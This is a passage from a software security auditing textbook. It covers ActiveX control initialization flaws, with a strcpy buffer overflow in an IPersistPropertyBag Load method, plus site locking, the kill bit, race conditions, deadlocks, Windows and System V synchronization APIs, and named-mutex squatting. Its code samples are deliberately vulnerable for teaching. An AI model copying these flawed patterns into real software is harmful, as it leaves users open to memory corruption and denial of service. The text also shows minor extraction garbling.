CLASSID="CLSID:F2345FA3-E11B-40AE-A86D-32C487C3EE54" CODEBASE="MyControl.CAB"> <PARAM NAME="MyServer" VALUE="malicious.com" /> </OBJECT> This fragment creates an instance of a control and attempts to initialize it with the MyServer parameter. This parameter is accepted through the IPersistPropertyBag interface, which inherits from the base IPersist interface. The control retrieves the parameter with the following code: STDMETHODIMP MyControl::Load(IPropertyBag *pProps, IErrorLog* pErrLog) { _variant_t myVar; int hr = 0; hr = pProps->Read("MyServer", &myVar, pErrLog); if (hr != 0) return hr; strcpy(m_serverName, myVar); return hr; } This code is a simple implementation of the IPersistPropertyBag::Load() method. Internet Explorer calls this method when loading the control, and the control then retrieves the PARAM values via the IPropertyBag interface. What's important here is that you follow the path of these properties and see what they affect. The _variant_t The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 768 class in this code has overloaded operators to handle type conversions, so don't be distracted by that part. Instead, just note that the bold line copies the property string into a member variable. Here's the declaration of that member variable: char m_serverName[512]; It's fairly obvious that this code is performing an unbounded string copy into a fixed-size buffer, so this particular IPersist interface is vulnerable to a straightforward buffer overflow. This vulnerability might seem obvious, but this exact pattern has been seen in more than one ActiveX control. The issue is that developers often don't consider control instantiation to be an exposure point. You need to pay special attention to all IPersist interfaces to see whether they handle input in an unsafe manner. Site-Restricted Controls One of the best ways of limiting a control's attack surface is to instantiate it only for a known set of locations. Implementations can limit instantiation based on hostname, but restrictions can be based on any connection information by implementing the IObjectWithSite interface and the SetSite() method. The WebBrowser control can then be used to provide detailed connection information. Microsoft provides the SiteLock template as a starting point for creating a site-restricted control. If a control is locked to a particular site, you need to determine how effective that lock is. There might be issues in the string comparisons that allow you to bypass the checks, similar to the topics discussed in Chapter 8(? [????.]), "Strings and Metacharacters." There might also be Web application vulnerabilities at the hosting site that allow you to instantiate the control in the context of the site, but with your own parameters and scripting. Read Chapters 17(? [????.]), "Web Applications," and 18(? [????.]), "Web Technologies," for more information on vulnerabilities that involve this attack vector. The Kill Bit Sometimes a vulnerability is identified in a signed control. This control can then be delivered by a malicious Web site, allowing attackers to exploit a control that otherwise appears safe. A site-restricted control is less vulnerable to this type of attack; however, Web application vulnerabilities (such SQL injection and cross-site scripting) might allow attackers to exploit the underlying vulnerability. For this reason, Microsoft introduced the ActiveX kill bit, which is used to mark a control version as unauthorized. The kill bit is set by setting the CompatibilityFlags DWORD value to 0x00000400 in this registry location: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\<GUID of control class>. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 769 This key and value aren't usually present, so they need to be created by the control's installer. Developers often have a new control set this value for all previous versions, just to prevent earlier versions from being installed. Note whether this value is set; if it's not, you might want to look at vulnerabilities in previous control versions. Threading in ActiveX Most ActiveX controls are registered for the STA model, so thread synchronization issues aren't generally a problem. However, an ActiveX control can be registered as an MTA. This model is a bad idea from a usability perspective because it can cause GUI synchronization issues. However, an MTA control might also expose synchronization vulnerabilities. Reviewing ActiveX Controls Proprietary ActiveX controls are often frowned on in modern Web application development. They've mostly been replaced with newer technologies that are more portable and less prone to security issues. However, they are still deployed in many legacy and corporate intranet sites. As a reviewer, one of your first considerations should be whether a Web-hosted ActiveX control is necessary and determining the cost of replacing it. If the control is necessary, review it as you would any other binary application. However, you also need to ensure that the control handles the considerations mentioned previously in this section. Here's a basic checklist: 1. If you're reviewing the control as part of a larger system, check that it's signed with a certificate trusted by clients. If the control isn't signed, look for vulnerabilities in the rest of the system that could allow attackers to deploy a malicious control. 2. If the control must be marked safe for scripting, evaluate all exposed IDispatch paths closely, including vulnerabilities resulting from the intended functionality and implementation vulnerabilities. 3. If a control must be marked safe for initialization, evaluate all IPersist calls closely. Look for any exposure of sensitive data. Also, look for any mishandling of persistent data, such as conditions that could result in memory corruption. 4. Check whether the control is site restricted. If it is, look for vulnerabilities in the restriction implementation that could allow it to be instantiated by another site. Also, check for any other implementation vulnerabilities that could make this interface exploitable. If the control is part of a larger system, look for Web application vulnerabilities that could be used to circumvent the site lock. 5. Check to see whether the control sets the kill bit for previous versions. If not, you might want to do a cursory analysis for vulnerabilities in earlier versions of the control. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 770 6. If the control uses the MTA model, check for synchronization issues that could be exploited by scriptable methods. 7.8.8 Summary Windows provides a variety of native IPC mechanisms that applications can use to communicate with each other, whether they exist on the same computer or on different computers sharing a common network. Despite providing a rich security model, these IPC mechanisms can increase an application's attack surface, thus increasing the risk of compromise. You have examined access permissions available with Windows IPC mechanisms and the implications of programmers using these access controls in different circumstances. You have also seen that rogue applications can attack the underlying IPC mechanisms to impersonate or disable legitimate system services. By understanding these vulnerabilities and how they're attacked, you should be able to identify, assess, and prevent them. 7.9 Chapter 13. Synchronization and State Chapter 13. Synchronization and State "The future influences the present just as much as the past." Friedrich Nietzsche 7.9.1 Introduction Up to this point, most of the vulnerabilities you've seen occur in a lone synchronous code path; that is, each vulnerability can be traced from a single entry point to an endpoint. However, most modern software responds asynchronously to external triggers such as UNIX signals, Windows events, or thrown exceptions. Asynchronous execution is even more common with the growing popularity of multithreaded programming, in which different threads of execution share the same address space. These multithreading and multiprocessing applications introduce unique security vulnerabilities that occur when an attacker can manipulate the state of concurrent instances of execution. This chapter shows you how to understand and identify the complex vulnerabilities that result from security oversights in this type of state manipulation. 7.9.2 Synchronization Problems Certain types of operations require atomicitythat is, they must happen in an uninterruptible sequence. Errors can occur when applications fail to enforce atomicity The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 771 requirements between concurrent instances of execution. To understand this issue, imagine two processes sharing a memory segmentone process writing to it and one reading from it, as shown in Figure 13-1. Figure 13-1. Shared memory between two processes The reader process could be interrupted while copying data out of the memory segment by the writer process, which places alternative data at the location being read from. Likewise, the writer process could be interrupted by the reader when it's only half finished writing data into the shared memory segment. In both situations, the shared memory segment is said to be in an inconsistent state because it's halfway through an operation that should have been atomic between the two processes. OSs provide synchronization primitives that address concurrent programming requirements. Atomic access to resources is often controlled through a mutual exclusion (mutex) primitive. When a thread attempts to access the shared resource, it must first acquire the mutex. Acquiring a mutex means that other processes or threads attempting to acquire the same mutex are blocked (waiting) until the owner releases the mutex. Acquiring ownership of a mutex may also be referred to as locking or holding; releasing ownership of a mutex may be referred to as unlocking or signaling. Unfortunately, complex locking requirements can make it difficult to use synchronization APIs correctly. Additionally, code with concurrency issues exhibits symptoms infrequently, with error conditions that often appear random and non-repeatable. This combination of factors makes concurrency issues extremely difficult to identify and trace. As a result, it's easy for errors of this nature to go undiagnosed for a long time, simply because the bug can't be reproduced with what appears to be identical input. The following sections cover the basic problems that The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 772 concurrent programming introduces so that you can relate this material to more concrete vulnerabilities later in the chapter. Reentrancy and Asynchronous-Safe Code The first step in understanding concurrency issues involves familiarizing yourself with the concept of reentrancy. Reentrancy refers to a function's capability to work correctly, even when it's interrupted by another running thread that calls the same function. That is, a function is reentrant if multiple instances of the same function can run in the same address space concurrently without creating the potential for inconsistent states. Take a look at an example of a non-reentrant function: struct list *global_list; int global_list_count; int list_add(struct list *element) { struct list *tmp; if(global_list_count > MAX_ENTRIES) return -1; for(list = global_list; list->next; list = list->next); list->next = element; element->next = NULL; global_list_count++; return 0; } For this example, assume that there is a list_init() function that initializes the list with a single member, so that a NULL pointer dereference doesn't occur in the list_add() function. This function adds an element to the list as it should, but it's not a reentrant function. If it's interrupted by another running thread that calls list_add() as well, both instances of the function simultaneously modify the global_list and global_list_count variables, which produces unpredictable results. For a function to be reentrant, it must not modify any global variables or shared resources without adequate locking mechanisms in place. Here's another example of a function that handles global data in a non-reentrant manner: struct CONNECTION { int sock; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 773 unsigned char *buffer; size_t bytes_available, bytes_allocated; } client; size_t bytes_available(void) { return client->bytes_available; } int retrieve_data(char *buffer, size_t length) { if(length < bytes_available()) memcpy(buffer, client->buffer, length); else memcpy(buffer, client->buffer, bytes_available()); return 0; } The retrieve_data() function reads some data from a global structure into a destination buffer. To make sure it doesn't overflow the destination buffer, the length parameter is validated against how many bytes are available in the data buffer received from a client. The code is fine in a single uninterruptible context, but what happens if you interrupt this function with another thread that changes the state of the client CONNECTION structure? Specifically, you could make it so that bytes_available() returned a value less than length initially, and then interrupt it before the memcpy() operation with a function that changes client->bytes_available to be larger than length. Therefore, when program execution returned to retrieve_data(), it would copy an incorrect number of bytes into the buffer, resulting in an overflow. As you can see, synchronization issues can be quite subtle, and even code that appears safe at a glance can suddenly become unsafe when it's placed in an interruptible environment such as a multithreaded application. This chapter covers several vulnerability types that are a direct result of using non-reentrant functions when reentrancy is required. Race Conditions A program is said to contain a race condition if the outcome of an operation is successful only if certain resources are acted on in an expected order. If the resources aren't used in this specific order, program behavior is altered and the result becomes undefined. To understand this problem, consider a program that contains several The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 774 threadsa producer thread that adds objects to a queue and multiple consumers that take objects from the queue and process them, as shown in the following code: struct element *queue; int queueThread(void) { struct element *new_obj, *tmp; for(;;) { wait_for_request(); new_obj = get_request(); if(queue == NULL) { queue = new_obj; continue; } for(tmp = queue; tmp->next; tmp = tmp->next) ; tmp->next = new_obj; } } int dequeueThread(void) { for(;;) { struct element *elem; if(queue == NULL) continue; elem = queue; queue = queue->next; .. process element .. } } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 775 The problem with this code is it modifies a shared structure without any locking to ensure that other threads don't also modify or access the same structure simultaneously. Imagine, for example, that dequeueThread() is running in one thread, and executes the following instruction: elem = queue; The structure is in an inconsistent state if the thread is interrupted after this code runs but before updating the queue variable to point to the next element. This state results in two threads de-queuing the same element and simultaneously attempting to operate on it. Starvation and Deadlocks Starvation can happen when a thread or set of threads never receives ownership of a synchronization object for some reason, so the threads are prevented from doing the work they're supposed to do. Starvation can be the result of a thread waiting to acquire ownership of too many objects or other threads with a higher priority constantly hogging the CPU, thus not allowing the lower priority thread to ever be scheduled for execution. Deadlocks are another problem encountered frequently in concurrent programming. They occur when two or more threads are using multiple synchronization objects at once but in a different order. In this situation, a lock is used to avoid a race condition, but the locks are acquired in an unexpected order, such that two threads of execution are waiting for locks that can never be released because it's owned by the other thread. The following code shows a simple example: Int thread1(void) { lock(mutex1); .. code .. lock(mutex2); .. more code .. unlock(mutex2); unlock(mutex1); return 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 776 int thread2(void) { lock(mutex2); .. code .. lock(mutex1); .. more code .. unlock(mutex2); unlock(mutex1); return 0; } This example has two threads that use mutex1 and mutex2 but in a different order, and both threads lock them simultaneously. This is a recipe for disaster! The problem can be best understood by playing out a sample scenario: 1. thread1 locks mutex1. 2. thread2 interrupts and locks mutex2. 3. thread2 TRies to lock mutex1, but it's held by thread1, so tHRead2 blocks. 4. tHRead1 resumes running and attempts to lock mutex2, but thread2 holds it, so tHRead1 blocks. Both threads are now unable to continue because they are waiting on a condition that can never be satisfied. For a deadlock to be possible, four conditions need to exist:  Mutual exclusion The program needs to require exclusive access to a resource.  Hold and wait A thread or process needs to lock one resource and then wait for another.  No preemption An external entity can't force a thread or process to relinquish ownership of a resource.  Circular wait Threads or processes wait on synchronization objects in a circular fashion. That is, thread1 might wait on a resource from thread2, which is waiting on a resource from thread3, which is waiting on a resource from thread1. If all four conditions exist in a program, there's the possibility for deadlock. Deadlock might also occur if a thread or process neglects to release a resource when it's supposed to because of a programming error. 7.9.3 Process Synchronization The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 777 Concurrent programming requires the use of process synchronization services the kernel exposes to userland applications. Both UNIX and Windows provide these services; however, they differ greatly in their implementation and semantics. The following sections present both the UNIX and Windows synchronization APIs and their fundamental synchronization primitives. System V Process Synchronization Chapter 10(? [????.]), "UNIX II: Processes," introduced the System V IPC mechanisms available in most UNIX OSs, which includes three objects that are visible in the kernel namespace and can be used by unrelated processes to interact with each other: semaphores, message queues, and shared memory segments. This discussion focuses on semaphores, as they are most relevant in discussions of synchronization. Note Shared memory segments have some relevance in synchronization, as processes sharing a memory segment must ensure that mutually exclusive access is achieved correctly so that the shared memory segment isn't accessed when it's in an inconsistent state. However, the issue of synchronization isn't the shared memory itself, but the mechanisms put in place to access that object (as is the case for any other shared resource). Therefore, shared memory isn't discussed further in this section. Semaphores A semaphore is a locking device that uses a counter to limit the number of instances that can be acquired. This counter is decremented every time the semaphore is acquired and incremented every time a semaphore is released. When the count is zero, any attempts to acquire the semaphore cause the caller to block. Semaphores are represented by IDs in the System V IPC API. System V also allows semaphores to be manipulated in sets, which are arrays of semaphores that programmers create to group related semaphores into one unit. The functions for manipulating semaphores and semaphore sets are described in the following paragraphs. The semget() function creates a new semaphore set or obtains an existing semaphore set: int semget(key_t key, int nsems, int semflg) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 778 A new semaphore set is created if the value of key is IPC_PRIVATE or if the IPC_CREAT flag is set in semflg. An existing semaphore set is accessed by supplying the corresponding key for the first parameter; an error is returned if the key does not match an existing semaphore. If both the IPC_CREAT and IPC_EXCL flags are set and a semaphore with the same key already exists, an error is returned instead of a new semaphore being created. The nsems parameter indicates how many semaphores should exist in the specified set; if a single semaphore is used, a value of 1 is supplied. The semflg parameter is used to indicate what access permissions the semaphore set should have, as well as the following arguments:  IPC_CREAT Create a new set if one doesn't exist already.  IPC_EXCL Create a new semaphore set, or return an error if one already exists.  IPC_NOWAIT Return with an error if the request is required to wait for the resource. The low nine bits of semflg provide a standard UNIX permission mask for owner, group, and world. The read permission allows semaphore access, write provides alter permission, and execute is not used. The semop() function performs an operation on selected semaphores in the semaphore set referenced by semid: int semop(int semid, struct sembuf *sops, unsigned nsops) The sops array contains a series of sembuf structures that describe operations to be performed on specific semaphores in the set. This function is used primarily to wait on or signal a semaphore, depending on the value of sem_op in each structure. The value of sem_op has the following effects:  If the sem_op parameter is greater than 0, it is added to the internal integer in the semaphore structure, which is effectively the same as issuing multiple signals on the semaphore.  If the sem_op value is equal to 0, the process waits (is put to sleep) until the semaphore value becomes 0.  If the sem_op value is less than 0, that value is added to the internal integer in the semaphore structure. Because sem_op is negative, the operation is really a subtraction. This operation is like issuing multiple waits on the semaphore and may put the process to sleep. The semctl() function is used to perform a control operation on the semaphore referenced by semid: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 779 int semctl(int semid, int semnum, int cmd, ...) The cmd value can be one of the following:  IPC_STAT Copy the semaphore structure stored in the kernel to a user space buffer. It requires read privileges to the semaphore.  IPC_SET Update the UID, GID, or mode of the semaphore set. It requires the caller to be a super-user or the creator of the set.  IPC_RMID Remove the semaphore set. It requires super-user privileges or for the caller to be the creator of the set.  SETALL Set the integer value in all semaphores in the set to be a specific value.  SETVAL Set a specific semaphore in the semaphore set to be a specific value. A number of other operations can be performed, but they aren't relevant to this discussion. Interested readers can refer to the semctl() man page. Windows Process Synchronization The Win32 API provides objects that can synchronize a number of threads in a single process, as well as objects that can be used for synchronizing processes on a system. There are four interprocess synchronization objects: mutexes (Mutex or Mutant), events (Event), semaphores (Semaphore), and waitable timers (WaitableTimer). Each object has a signaled state in which it can be acquired and an unsignaled state in which an attempt to acquire it will force the caller to wait on a corresponding release. Sychronization objects can be created as named or unnamed objects and, as with all securable objects, are referenced with the HANDLE data type. Note Windows uses a single namespace for all mutexes, events, semaphores, waitable timers, jobs, and file-mappings. So no instances of these six object types can share the same name. For example, an attempt to create a mutex named MySync fails if a semaphore named MySync already exists. Wait Functions All windows synchronization objects are acquired (waited on) by the same set of functions. These functions put the calling process to sleep until the waited-on object is signaled. Some objects may also be modified by a call to a wait function. For example, with a mutex, the caller gains ownership of the object after successful completion of a wait function. Because the wait functions are common to all synchronization objects, it's best to discuss them before the objects themselves. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 780 The WaitForSingleObject() function waits on a synchronization object specified by hHandle for a maximum period of time specified by dwMilliseconds: DWORD WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) The following function works the same way as WaitForSingleObject(), except it has an additional parameter, bAlertable: DWORD WaitForSingleObjectEx(HANDLE hHandle, DWORD dwMilliseconds, BOOL bAlertable) This parameter indicates that the process is alertable (that is, an I/O completion routine or asynchronous procedure call (APC) can be run after successful return from this function). This parameter is irrelevant for the purposes of this discussion. Note APCs are a common Windows idiom in I/O and IPC routines. At the most basic level, they are callback routines that can be scheduled to run at the earliest convenient time for the process. The earliest convenient time is when the process is alertable (waiting on an object) and is running userland-level code (i.e., it isn't in the middle of performing a system call). For more information on APCs, see Microsoft Windows Internals 4th Edition by Mark Russinovich and David Solomon (Microsoft Press, 2004(? [????.])). The following function is similar to the WaitForSingleObject() function, except it waits on multiple objects that are specified as an array of handles (lpHandles) with nCount elements: DWORD WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) If bWaitAll is set to TRUE, this function waits for all objects specified in the lpHandles array to be signaled; otherwise, it waits for just one of the objects to be signaled before returning. Like WaitForSingleObject(), the dwMilliseconds parameter defines the maximum amount of time the function should wait before returning. The following function works the same way as WaitForMultipleObjects(), except it has an additional parameter, bAlertable: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 781 DWORD WaitForMultipleObjectsEx(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds, BOOL bAlertable) As with WaitForSingleObjectEx(), this parameter indicates that an I/O completion routine or APC can be run after successful return from this function. Mutex Objects Windows provides an implementation of the standard mutex synchronization primitive. When a thread locks a mutex, other threads that attempt to lock the mutex are put to sleep until it is released. After it has been released, one of the waiting threads will be awakened and acquire the mutex. There are three API functions specifically for creating and managing mutexes. The CreateMutex() function is used to create a new mutex: HANDLE CreateMutex(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName) The lpMutexAttributes parameter describes security attributes for the mutex being created. Setting the bInitialOwner parameter to TRUE creates the mutex in a locked state and grants the caller initial ownership. The final parameter, lpName, passes the object's name or NULL for an unnamed mutex. If a mutex with the same name already exists, that existing mutex is returned to the caller instead of a new one. When an existing mutex is opened the bInitialOwner parameter is ignored. The following function opens an existing mutex object: HANDLE OpenMutex(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCSTR lpName) The dwDesiredAccess parameter describes what access rights the caller is requesting. The bInheritHandle parameter describes whether this handle should be inherited across a CreateProcess() call, and the lpName parameter is the name of the mutex to open. The ReleaseMutex() function signals the mutex so that other threads waiting on it can claim ownership of it (lock it): BOOL ReleaseMutex(HANDLE hMutex) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 782 A thread using this function must own the mutex and have the MUTEX_MODIFY_STATE access right to perform this operation. The current owner of a mutex can repeatedly acquire it without ever blocking. However, the mutex is not released until the number of calls to Release mutex equals the number of times the mutex was acquired by the current owner. In the discussion on "IPC Object Scoreboards" later in this chapter, you see exactly how this can be an issue. Event Objects An event object is used to inform another thread or process that an event has occurred. Like a mutex, an event object is always in a signaled or nonsignaled state. When it's in a nonsignaled state, any thread that waits on the event is put to sleep until it becomes signaled. An event differs from a mutex in that it can be used to broadcast an event to a series of threads simultaneously. In this case, a thread doesn't have exclusive ownership of the event object. Event objects can be further categorized into two subtypes: manual-reset events and auto-reset events. A manual-reset event is one in which the object stays in a signaled state until a thread manually sets it to a nonsignaled state. An auto-reset event is one that's automatically set to a nonsignaled state after a waiting thread is woken up. Creating and manipulating an event requires using the functions described in the following paragraphs. The CreateEvent() function is used to create a new event object with the security attributes described by the lpEventAttributes parameter: HANDLE CreateEvent(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName) The bManualReset parameter indicates whether the object is manual-reset or auto-reset; a value of TRUE creates a manual-reset object and a value of FALSE creates an auto-reset object. The bInitialState parameter indicates the initial state of the event; a value of TRUE sets the object to a signaled state and a value of FALSE sets it to a nonsignaled state. Finally, lpName indicates the name of the event object being created or NULL for an unnamed event. Like mutexes, passing the name of an existing event object causes it to be opened instead. The OpenEvent() function works in the same way OpenMutex() does, except it opens a previously created event rather than a mutex: HANDLE OpenEvent(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCSTR lpName) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 783 The SetEvent() function sets an event to a signaled state. The caller must have EVENT_MODIFY_STATE access rights to use this function: BOOL SetEvent(HANDLE hEvent) The ResetEvent() function sets an event to a nonsignaled state: BOOL ResetEvent(HANDLE hEvent) This function is used only for manual-reset events because they require threads to reset the event to a nonsignaled state. This function also requires that the caller has EVENT_MODIFY_STATE access rights for the event. Semaphore Objects As in other operating systems, semaphores are used to allow a limited number of threads access to some shared object. A semaphore maintains a count initialized to the maximum number of acquiring threads. This count is decremented each time a wait function is called on the object. When the count becomes zero, the object is no longer signaled, so additional threads using a wait function on the object are blocked. The functions for dealing with semaphores are described in the following paragraphs. The CreateSemaphore() function creates a new semaphore or opens an existing semaphore if one with the same name already exists: HANDLE CreateSemaphore(LPSECURITY_ATTRIBUTES lpAttributes, LONG lInitialCount, LONG lMaximumCount, LPCSTR lpName) The lInitialCount parameter indicates the initial value of the semaphore counter. This value must be between 0 and lMaximumCount (inclusive). If the value is 0, the semaphore is in a nonsignaled state; otherwise, it's in a signaled state when initialized. The lMaximumCount parameter specifies the maximum number of threads that can simultaneously wait on this object without blocking. The OpenSemaphore() function opens an existing semaphore and works in the same way that OpenMutex() and OpenEvent() do: HANDLE OpenSemaphore(DWORD dwDesiredAccess, BOOL bInheritable, LPCSTR lpName) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 784 The ReleaseSemaphore() function increments the semaphore count by the amount specified in lReleaseCount: BOOL ReleaseSemaphore(HANDLE hSemaphore, LONG lReleaseCount, LPLONG lpPreviousCount) This function fails if lReleaseCount causes the semaphore to exceed its internal maximum count. The lpPreviousCount stores the previous count held by the semaphore before this function call. Usually, a call to this function leaves the semaphore in a signaled state because the resulting count is greater than zero. Waitable Timer Objects A waitable timer, or timer, is used to schedule threads for work at a later time by becoming signaled after a time interval has elapsed. There are two types of waitable timers: manual-reset and synchronization timers. A manual-reset timer remains signaled until it's manually reset to a nonsignaled state. A synchronization timer stays signaled until a thread completes a wait function on it. In addition, any waitable timer can be a periodic timera timer that's automatically reactivated each time the specified interval expires. The functions for dealing with waitable timers are described in the following paragraphs. The CreateWaitableTimer() function works the same way other Create*() functions do: HANDLE CreateWaitableTimer(LPSECURITY_ATTRIBUTES lpAttributes, BOOL bManualReset, LPCSTR lpName) The bManualReset parameter specifies whether the timer should be a manual-reset timer or synchronization timer. A value of TRUE indicates it's a manual-reset timer, and a value of FALSE indicates it's a synchronization timer. The OpenWaitableTimer() function is used to open an existing named waitable timer object. It works the same way other Open*() functions do: HANDLE OpenWaitableTimer(DWORD dwDesiredAccess, BOOL bInheritable, LPCSTR lpName) The SetWaitableTimer() function is responsible for initializing a waitable timer with a time interval: BOOL SetWaitableTimer(HANDLE hTimer, const LARGE_INTEGER *pDueTime, LONG lPeriod, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 785 PTIMERAPCROUTINE pfnCompletionRoutine, LPVOID lpArgToCompletionRoutine, BOOL fResume) The pDueTime parameter specifies the interval for the timer to be signaled after, and the lPeriod parameter specifies whether this timer should be reactivated after the time interval has elapsed. A value larger than 0 indicates it should, and a value of 0 indicates that it should signal only once. The next two parameters are a pointer to an optional completion routine that's called after the timer is signaled and an argument for that completion routine. The routine is queued as a user-mode APC. Finally, the fResume parameter indicates that the system should recover out of suspend mode if it's in suspend when the timer is activated. The following function deactivates an active timer: BOOL CancelWaitableTimer(HANDLE hTimer) The caller must have TIMER_MODIFY_STATE access to the object for this function to succeed. Vulnerabilities with Interprocess Synchronization Now that you're familiar synchronization primitives, you can begin to explore what types of vulnerabilities could occur from incorrect or unsafe use of these primitives. Lack of Use Obviously, there's a problem when synchronization objects are required but not used. In particular, if two processes are attempting to access a shared resource, a race condition could occur. Take a look at a simple example: char *users[NUSERS]; int curr_idx = 0; DWORD phoneConferenceThread(SOCKET s) { char *name; name = readString(s); if(name == NULL) return 0; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 786 if(curr_idx >= NUSERS) return 0; users[curr_idx] = name; curr_idx++; .. more stuff .. } Say a daemon accepted connections on a listening socket, and each new connection caused a thread to be spawned, running the code shown in the example. Clearly, there is a problem with modifying the users and curr_idx variables without using synchronization objects. You can see that the function is not reentrant due to its handling of global variables; so calling this function in multiple concurrent threads will eventually exhibit unexpected behavior due to not accessing the global variables atomically. A failure to use synchronization primitives in this instance could result in an overflow of the users array, or cause a name to unexpectedly overwritten in the users array. When you're auditing code that operates on an improperly locked shared resource, it's important to determine the implications of multiple threads accessing that resource. In reality, it's quite uncommon for developers to disregard concurrency issues and not use any form of synchronization objects. However, developers can make mistakes and forget to use synchronization primitives in unexpected or infrequently traversed code paths. The "Threading Vulnerabilities(? [????.])" section later in this chapter presents an example of this issue in the Linux kernel. Incorrect Use of Synchronization Objects Misusing synchronization objects can also cause problems. These types of errors generally occur because developers don't fully understand the API or fail to check when certain exceptional conditions occur, such as not checking for return values. To determine when this error has been made, you need to cross-check synchronization API calls with how they appear in the program, and then determine whether they correspond with the developer's intentions. The following code shows an example of incorrect use of a synchronization function. First, there's a function to initialize a program containing multiple threads. One thread reads requests from a network and adds jobs to a global queue, and a series of threads read jobs from the queue and process them. HANDLE queueEvent, jobThreads[NUMTHREADS+1]; struct element *queue; HANDLE queueMutex; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 787 SOCKET fd; DWORD initJobThreads(void) { int i; queueEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if(queueEvent == NULL) return -1; queueMutex = CreateMutex(NULL, FALSE, NULL); for(i = 0; i < NUMTHREADS; i++) { jobThreads[i] = CreateThread(NULL, 0, processJob, NULL, 0, NULL); if(jobThreads[i] == NULL) { .. error handle .. } } jobThreads[i] = CreateThread(NULL, 0, processNetwork, NULL, 0, NULL); if(jobThreads[i] == NULL) { .. error handle .. } return 0; } After the initJobThreads() function is done, the processJob() and processNetwork() functions are responsible for doing the actual work. They use mutex objects to ensure mutually exclusive access to the queue resource and an event to wake up threads when the queue contains elements that need to be dequeued and processed. Their implementations are shown in the following code: DWORD processJob(LPVOID arg) { struct element *elem; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 788 for(;;) { WaitForSingleObject(queueMutex, INFINITE); if(queue == NULL) WaitForSingleObject(queueEvent, INFINITE); elem = queue; queue = queue->next; ReleaseMutex(queueMutex); .. process element .. } return 0; } DWORD processNetwork(LPVOID arg) { struct element *elem, *tmp; struct request *req; for(;;) { req = readRequest(fd); if(req == NULL) // bad request continue; elem = request_to_job_element(req); HeapFree(req); if(elem == NULL) continue; WaitForSingleObject(queueMutex, INFINITE); if(queue == NULL) { queue = elem; SetEvent(queueEvent); } else { for(tmp = queue; tmp->next; tmp = tmp->next) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 789 ; tmp->next = elem; } ReleaseMutex(queueMutex); } return 0; } Do you see the problem with this code? Look at the way the event object is initialized: queueEvent = CreateEvent(NULL, TRUE, FALSE, NULL); Setting the second parameter to TRUE indicates the object is a manual-reset event. However, by reading the code, you can tell that the developer intended to use an automatic-reset event, because after the first time the event is signaled, the manual-reset event remains in that state forever, even when the queue is empty. The incorrect use of CreateEvent() in this example leads to a NULL pointer dereference in processJob(), as a successful return from WaitForSingleObject() indicates that the queue is not empty. Astute readers might notice an additional flaw: This code is vulnerable to deadlock. If the queue is empty when processJob() runs, the running thread calls WaitForSingleObject(), which puts the caller to sleep until the processNetwork() function signals the event object. However, the processJob() routine waiting on the event is holding the queueMutex lock. As a result, processNetwork() can never enter, thus resulting in deadlock. As you can see, errors resulting from incorrect use of synchronization objects are quite easy to make, especially when a multitude of objects are used. Creating a program without deadlocking and race conditions can be tricky; often the logic just isn't obvious, as shown in the previous example. In "IPC Object Scoreboards" later in this chapter, you learn a technique that utilizes scoreboards to track IPC object use. These scoreboards can help you determine how each object is used and whether there's a possibility it's being misused. Squatting with Named Synchronization Objects Chapter 11(? [????.]) introduced Windows namespace squatting, which occurs when a rogue application creates a named object before the real application can. This type of attack is a serious consideration for named synchronization objects. Imagine, for example, a program with the following code during its initialization: int checkForAnotherInstance(void) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 790 { HANDLE hMutex; hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyProgram"); if(hMutex == NULL) return 1; CloseHandle(hMutex); return 0; } The checkForAnotherInstance() function is called in the early stages of a program invocation. If it returns 1, the process exits because another instance of the program is already running. Note Synchronization objects are often used to prevent multiple instances of a program from running on a single host. Say you run another process that creates a mutex named MyProgram and holds the lock indefinitely. In this case, the checkForAnotherInstance() function always returns 1, so any attempt to start this application fails. If this mutex is created in the global namespace, it prevents other users in a Terminal Services or XP environment from starting the application as well. In addition to creating objects for the purpose of preventing an application from running correctly, a rogue application might be able to take possession of an object that another application created legitimately. For example, consider a scenario in which a process creates a global object and a number of other processes later manipulate this object. Processes attempting to manipulate the object do so by waiting on a mutex, as shown in this example: int modifyObject(void) { HANDLE hMutex; DWORD status; hMutex = OpenMutex(MUTEX_MODIFY_STATE, FALSE, "MyMutex"); if(hMutex == NULL) return -1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 791 status = WaitForSingleObject(hMutex, INFINITY); if(status == WAIT_TIMEOUT) return -1; .. modify some global object .. ReleaseMutex(hMutex); } What's the problem with this code? What if a rogue application also opens MyMutex and holds onto it indefinitely? The other waiting processes are left sleeping indefinitely, thus unable to complete their 